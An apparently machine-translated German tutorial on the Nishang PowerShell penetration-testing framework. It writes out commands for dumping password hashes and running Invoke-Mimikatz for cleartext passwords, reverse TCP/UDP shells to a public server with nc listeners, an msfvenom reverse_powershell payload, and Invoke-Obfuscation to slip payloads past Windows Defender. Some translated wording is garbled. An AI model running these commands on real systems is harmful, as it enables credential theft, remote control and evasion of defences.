Heim  >  Artikel  >  Betrieb und Instandhaltung  >  So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

WBOY
WBOYnach vorne
2023-05-13 10:58:201117Durchsuche

Anfängliches PowerShell, lassen Sie uns zunächst das Konzept verstehen: PowerShell kann als aktualisierte Version von cmd (bat scripting language) betrachtet werden, einer Skriptsprache auf der Windows-Plattform. Es ist objektorientiert und eng mit .Net FrameWork verwandt. Man kann es sich auch als Bash-Shell unter Windows vorstellen. Windows PowerShell ist eine Befehlszeilen-Shell und Skriptumgebung, die es Befehlszeilenbenutzern und Skriptprogrammierern ermöglicht, die Leistungsfähigkeit von .NET Framework zu nutzen. Es stellt viele nützliche neue Konzepte vor, die das Wissen, das Sie erwerben, und die Skripts, die Sie in der Windows-Eingabeaufforderungs- und Windows-Host-Umgebung erstellen, weiter erweitern. Der Code wird im Speicher ausgeführt und berührt die Festplatte nicht. Viele Sicherheitsprodukte können die Aktivitäten von PowerShell nicht erkennen. Die Ausführung von cmd.exe ist jedoch nicht möglich. Tatsächlich müssen wir während des Penetrationstestprozesses einige Schutzsoftware umgehen. Neben der Umgehung von Skripten oder anderen Tools ist auch das PoweShell-Tool eine gute Wahl. Zum Beispiel verwenden wir das Passwort, um das magische Mimikatz auf dem Zielhost zu erfassen. Dieses von einem französischen Experten geschriebene magische Tool wird häufiger von allen verwendet. Das Beste daran ist, dass Sie das Klartext-Passwort des aktiven Windows erhalten können Konto von lsass.exe. Aber wenn Sie es nicht gut schaffen, das Töten zu vermeiden, werden Sie direkt von einem bestimmten tötungsfreien Familieneimer überholt. Mit Powershell kann ein Angreifer Befehle ausführen, ohne die Festplatte zu berühren. Hier sind einige häufig verwendete Tools:

Einführung in Nishang

Nishang ist ein spezielles Tool für Penetrationstests auf Basis von PowerShell. Es integriert Skripte und verschiedene Payloads, wie z. B. Passworterfassung, Port-Scanning, Privilegieneskalation usw. Dieses Tool wird häufig von Anfängern im täglichen Penetrationstest verwendet. Zuerst müssen wir dieses Tool herunterladen: https://github.com/samratashok/nishang. Nach dem Herunterladen können wir sehen, was die folgenden Tools enthalten. Als nächstes übergeben wir die spezifischen Eine experimentelle Umgebung wird verwendet, um die häufig verwendeten Module im Penetrationstestprozess zu demonstrieren. Vor der Demonstration müssen einige häufige Fehler erläutert werden, die beim Ausführen des Powershell-Tools auftreten, z. B. Berechtigungsprobleme beim Ausführen von Skripten, Probleme beim Importieren von Modulen usw.

Powershell ist beim ersten Importieren des Moduls nicht zulässig, da die Standardrichtlinie nicht zulässig ist. Zu diesem Zeitpunkt müssen wir die Ausführungsrichtlinie ändern, die als remotesigned bezeichnet wird. So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool Schauen wir uns die aktuelle Ausführungsrichtlinie an. Eingeschränkt ist die Ausführung von Skripten nicht zulässig, auch wenn Sie über Administratorrechte verfügen. Wir müssen die Berechtigungen ändern und den Befehl ausführen:

Set-ExecutionPolicy remotesigned Wenn wir die aktuelle Ausführungsrichtlinie erneut abfragen, wird remotesigned das Skript erneut erfolgreich importiert.

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Ausführen, um die Skriptinformationen im importierten Modul anzuzeigen: Get-Command -Module nishang

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Listen Sie die Informationen dieser Maschine auf: Get-Information

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Jetzt geben wir auch die Ausführung an Erlaubnis geändert, beginnen wir unsere Demonstrationsreise.

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Eine Welle der Passworterfassung

Wenn wir einen Server bekommen, müssen wir wissen, ob der Zielhost eine physische Maschine oder eine virtuelle Maschine ist. Führen Sie den Befehl aus: Check-VMSo verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Zuallererst: nishang Es integriert auch ein Skript zum Erfassen von Passwörtern: #Get-PassHashes //Einfache und direkte Erfassung und Anzeige in der DOS-Schnittstelle;

#powershell –exec bypass –Command "& {Import -Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat |. Out-File hash.txt}" //Hash-Wert abrufen und in einem benutzerdefinierten Dokument speichern.

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool


Da wir den Hash-Wert erfassen können, können wir auch das Klartext-Passwort erfassen. Schauen wir uns zunächst das Skript zum Erfassen des Passworts an. Wir können sehen, dass auch das Tool Mimikatz verwendet wird, das jedoch nur in das Powershell-Skript geladen wird.

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Wir können den folgenden Befehl verwenden, um das Klartext-Passwort zu erhalten:

#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz }" Versuchen Sie, das Klartextkennwort des aktuellen Systembenutzers direkt zu erfassen. (Der am häufigsten verwendete Befehl)

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Eine Welle von Port-Rebounds

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Während des Penetrationstests sind wir bei der Portweiterleitung auf eine Reihe tödlicher Familien-Buckets, Nclcxsockes-Agenten usw. gestoßen Von Zeit zu Zeit wurde Er getötet und ausgerottet. Dann können wir zu diesem Zeitpunkt das Portweiterleitungsskript in Nishang verwenden. Neben der Einführung der integrierten Portweiterleitung experimentieren wir hier auch mit der Portweiterleitung mit MSF, die beide einen öffentlichen Netzwerkserver erfordern.

1. TCP-Portweiterleitung (umgekehrte Verbindung)

Führen Sie den Überwachungsbefehl auf dem öffentlichen Netzwerkserver aus: nc -lvp 5555

Der Zielhost führt den Portweiterleitungsbefehl aus: Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx .115 – Port 5555

Nachdem wir die Befehle auf dem Zielhost bzw. dem öffentlichen Netzwerk ausgeführt haben, springt der öffentliche Netzwerkserver eine Shell zurück, sodass wir die Befehle des Intranetservers ausführen können.

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

2. UDP-Portweiterleitung (umgekehrte Verbindung)

Führen Sie den Abhörbefehl auf dem öffentlichen Netzwerkserver aus: nc -lup 6666

Der Zielhost führt den Portweiterleitungsbefehl aus: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx .xxx.115 -Port 6666

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Zusätzlich zu Rückwärtsverbindungen verwende ich bei Penetrationstests oft auch Rückwärtsverbindungen. Wenn die Großen an Vorwärtsverbindungen interessiert sind, können Sie gehen Mach es. Okay, jetzt verwenden wir Powershell und MSF für die Portweiterleitung. Zuerst überprüfen wir mit dem Befehl, ob es ein Powershell-Modul in MSF gibt:

##msfvenom -l payloads |grep 'reverse_powershell //Fragen Sie den Speicherort des Powershell-Moduls ab .

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Wir verwenden MSF, um einen Befehl zum Generieren eines Rebound-Ports zu generieren:

##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r //Nutzlast generieren, Typ ist Powershell, der rot markierte Abschnitt ist der Befehl, der auf dem Zielhost ausgeführt werden muss.

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Der nächste Schritt besteht darin, den gerade generierten Powershell-Befehl auf dem Zielhost auszuführen und Port 9999 auf dem öffentlichen Server abzuhören. Auf diese Weise können wir die Shell des Zielhosts erfolgreich an den öffentlichen Netzwerkserver weiterleiten.

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Wir werden auch darüber nachdenken, wie wir mithilfe der Verschleierung Windows Defender auf dem Zielhost umgehen können, da die von uns generierte normale Nutzlast von Windows Defender überprüft wird und wir diesen Prüfmechanismus umgehen müssen. Nehmen wir die obige Nutzlast als Beispiel, um sie zu verschleiern und Windows Defender zu umgehen. Manchmal führen wir die von uns generierte normale Nutzlast direkt auf dem Zielhost aus und sie kann direkt von Windows Defender abgefangen werden. Das Tool zur Verschleierung ist zweifellos Invoke-Obfuscation von Daniel Bohannon. Die Github-Seite des Projekts ist zu finden.

Zuerst starten wir das Invoke-Obfuscation-Tool:

Import-Module ./Invoke-Obfuscation.psd1 //Import Invoke-Obfuscation.psd1;

Invoke-Obfuscation //Starten Sie das Invoke-Obfuscation-Tool;

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Jetzt werden wir die soeben generierte Portweiterleitungsnutzlast verschleiern. Schauen wir uns zunächst die Parameter verschiedener Verschleierungsverarbeitungsmethoden an:

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Welche Teile der Nutzlast verschleiert werden müssen, müssen wir im Voraus festlegen, was mit dem folgenden Befehl erfolgen kann:

Set scriptblock 'payload';

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Wir entscheiden uns dafür, den gesamten Befehl als Zeichenfolge zu verschleiern ( Die spezifische Auswahl basiert auf der spezifischen Penetrationstestumgebung):

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Wählen Sie 1 für ASCII-Verschleierung. Wir geben 1.ps1 ein, um die Ausgabe anzuzeigen. Dieser Befehl entspricht auch dem Speichern der verschleierten Datei im aktuellen Verzeichnis Beenden Sie es mit 1. ps1:

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Führen Sie dieses Skript auf dem Zielhost aus. Der öffentliche Netzwerkserver überwacht Port 9999 und kann auch die Shell des Intranet-Hosts erfolgreich bouncen:

So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

The Die Tools von Powershell und Cobaltstrike sind unterschiedlich. usw. Dieses Tool ist auch ein leistungsstarkes Tool für die Intranet-Penetration. Wir sprechen gerade darüber, welche Art von Funken Powershell und Cobalt Strike berühren können.
Cobalt Strike muss auf dem Client bzw. Server installiert werden und dann dieses Tool starten:


So verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool

Zuerst hören wir einen Port ab, schreiben die öffentliche IP-Adresse als Hostadresse und dann a Powershell generiert einen Befehl, führt diesen Befehl auf dem Zielhost aus, der Zielhost geht online, und dann können wir Passwörter aus der Ferne erfassen, Berechtigungen erweitern, überwachen und andere Vorgänge ausführen: Seien Sie ehrlich, die beiden Tools, die ich hier erstellt habe, sind nur ein kleiner Funke, und es gibt viele andere Vorgänge, die von interessierten Experten untersucht werden können.

Das obige ist der detaillierte Inhalt vonSo verwenden Sie Nishang, das PowerShell-Penetrationstest-Tool. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen